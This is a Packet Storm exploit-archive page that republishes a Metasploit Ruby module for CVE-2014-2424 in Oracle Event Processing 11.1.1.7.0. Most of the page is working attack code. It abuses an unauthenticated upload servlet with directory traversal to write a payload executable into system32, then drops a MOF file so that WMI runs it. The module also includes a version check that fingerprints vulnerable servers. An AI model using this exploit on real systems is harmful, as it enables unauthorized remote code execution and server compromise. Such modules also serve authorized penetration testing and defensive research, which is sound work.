exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle Event Processing FileUploadServlet Arbitrary File Upload

Oracle Event Processing FileUploadServlet Arbitrary File Upload
Posted Jul 6, 2014
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be abused to upload a malicious file onto an arbitrary location due to a directory traversal flaw, and compromise the server. By default Oracle Event Processing uses a Jetty Application Server without JSP support, which limits the attack to WbemExec. The current WbemExec technique only requires arbitrary write to the file system, but at the moment the module only supports Windows 2003 SP2 or older.

tags | exploit, arbitrary, file upload
systems | windows
advisories | CVE-2014-2424
SHA-256 | 354b179956fa5730561cdacb3cb83ea87cbbaf8af2b2d69f7b545cc36d2d4223

Oracle Event Processing FileUploadServlet Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload',
'Description' => %q{
This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing
11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be
abused to upload a malicious file onto an arbitrary location due to a directory traversal
flaw, and compromise the server. By default Oracle Event Processing uses a Jetty
Application Server without JSP support, which limits the attack to WbemExec. The current
WbemExec technique only requires arbitrary write to the file system, but at the moment the
module only supports Windows 2003 SP2 or older.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-2424'],
['ZDI', '14-106'],
['BID', '66871'],
['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html']
],
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Payload' =>
{
'DisableNops' => true,
'Space' => 2048
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 21 2014'))

register_options(
[
Opt::RPORT(9002),
# By default, uploads are stored in:
# C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
], self.class)
end

def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"")
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"")
data = post_data.to_s

res = send_request_cgi({
'uri' => '/wlevs/visualizer/upload',
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => data
})

res
end

def traversal
"../" * datastore['DEPTH']
end

def exploit
print_status("#{peer} - Generating payload and mof file...")
mof_name = "#{rand_text_alpha(rand(5)+5)}.mof"
exe_name = "#{rand_text_alpha(rand(5)+5)}.exe"
exe_content = generate_payload_exe
mof_content = generate_mof(mof_name, exe_name)

print_status("#{peer} - Uploading the exe payload #{exe_name}...")
exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}"
res = upload(exe_traversal, exe_content)

unless res && res.code == 200 && res.body.blank?
print_error("#{peer} - Unexpected answer, trying anyway...")
end
register_file_for_cleanup(exe_name)

print_status("#{peer} - Uploading the MOF file #{mof_name}")
mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}"
upload(mof_traversal, mof_content)
register_file_for_cleanup("wbem/mof/good/#{mof_name}")
end

def check
res = send_request_cgi({
'uri' => '/ohw/help/state',
'method' => 'GET',
'vars_get' => {
'navSetId' => 'cepvi',
'navId' => '0',
'destination' => ''
}
})

if res && res.code == 200
if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)")
return Exploit::CheckCode::Detected
elsif res.body.to_s.include?("Oracle Event Processing 12")
return Exploit::CheckCode::Safe
end
end

Exploit::CheckCode::Unknown
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close